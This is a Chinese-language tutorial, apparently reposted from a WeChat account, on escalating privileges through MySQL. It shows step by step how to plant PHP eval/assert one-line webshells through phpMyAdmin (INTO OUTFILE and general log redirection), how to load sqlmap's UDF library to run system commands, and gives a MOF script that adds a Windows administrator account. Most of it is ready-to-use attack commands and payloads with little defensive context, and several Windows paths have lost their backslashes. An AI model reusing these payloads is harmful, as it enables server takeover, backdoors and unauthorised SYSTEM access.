
phpMyadmin 提权
phpMyadmin (可以写入一句话)
进入 phpMyadmin 页面,点击 Sql 按钮,输入
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV'
查看写入路径,如果不为 null ,不为 tmp ,代表可以写入一句话木马

向爆出的目录写入一句话木马, 点击 Sql 按钮,输入
SELECT'<?php @eval($_POST[hacker]);?>'INTO OUTFILE 'D:phpstudy_proWWWhacker.php'

成功写入一句话木马,用蚁剑连接

phpMyadmin (不可以写入一句话)
secure-file-priv 这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv 是一个空值(null)。
进入 phpMyadmin 页面,点击 Sql 按钮,输入
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV'
显示为 null

此时写入数据失败

Mysql的两个全局变量:general log 指的是日志保存状态,一共有两个值(on/off)on 代表开启 off 代表关闭。general log file 指的是日志的保存路径。目前这个 general_log 为 off 状态,那么日志就没有被记录进去,所以先打开这个全局变量。
set global general_log='on'

执行一条sql语句便会被记录到日志文件中去。所以可以向日志写入一句话来试试。那么既然日志是保存在这个文件中,要写入一句话,应该要把日志存放的文件位置换成想要生成的一句话木马文件存放的位置。那么就需要修改 general_log_file 变量的位置了。
set global general_log_file='D:/phpstudy_pro/WWW/backdoor.php'

写入一句话木马进日志
select '<?php assert($_POST["hacker"]);?>';

backdoor.php 中成功存放了一句话木马

利用一句话木马,查看 phpinfo 信息

Mysql Udf 提权
Udf 是 Mysql 的一个扩展接口,Udf (Userdefined function) 可翻译为用户自定义函数,这个是用来拓展 Mysql 的技术手段。在提权过程中,经常使用 Mysql 的 udf.dll 进行提权,因为提权之前,要上传 udf.dll 到指定的目录下。使用 select @@plugin_dir; 查看具体目录。

或 使用 show variables like 'plugin%'; 查看具体目录

查看使用多少位的系统,mysql> select @@version_compile_os;

sqlmap 下自带了对应提权使用的 udf 库。可以直接下载使用,但是 sqlmap 进行加密,需要解密。使用 /usr/share/sqlmap/extra/cloak 的 cloak.py 进行解密。执行命令,进行解密
root@kali:/usr/share/sqlmap/extra/cloak# ./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
发现多了一个比较大的 lib_mysqludf_sys.dll。

将解密后的 lib_mysqludf_sys.dll_ 重命名为 udf.dll。执行命令
mv lib_mysqludf_sys.dll /root/udf.dll。
将 udf.dll 放到 d:wampbinmysqlmysql5.7.14libplugin 下
执行提权命令
mysql> create function sys_eval returns string soname 'udf.dll';
mysql> select * from mysql.func where name='sys_eval';

执行系统命令,查看当前目录
mysql> select sys_eval('dir');

查看当前用户
mysql> select sys_eval('whoami');

停止自定义函数
mysql> drop function sys_eval;
发现再次执行 whoami 失败

Mof 提权
mof是Windows系统的一个文件,位于c:windowssystem32wbemmofnullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了 Mysql 的 root 权限后,使用root权限去执行上传操作,将我们重新改写过的 mof 文件上传,之后,这个文件会被服务器每隔 5 秒以 system 权限执行。这个改写的 mof 中,有一段是 vbs 脚本,这个 vbs 大多数是 cmd 的添加管理员用户的命令。
可以提权的根本原因是因为有一个更高权限的线程执行了命令。这里 nullevt.mof 文件的加载过程由 system 用户执行,因此可以最高把用户的权限提升到system。
利用条件:
1. Windows版本<=2003;
2. c:windowssystem32wbemmof 目录可写入;
3. 数据库允许外连,且已知root账号密码
利用代码如下
# pragma namespace(".rootsubscription")
instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
其中的关键就在于第14行的“net.exe user admin admin /add”,这句是用来创建一个用户名为admin,密码为admin的用户,创建成功后,再将这句命令改为 “net.exe localgroup administrators admin /add”后,再次上传,达到创建admin用户并将其加入administrators组的目的。
文章详情
数据库提权mp.weixin.qq.com更多文章在:公zhong号【大人物小城梦】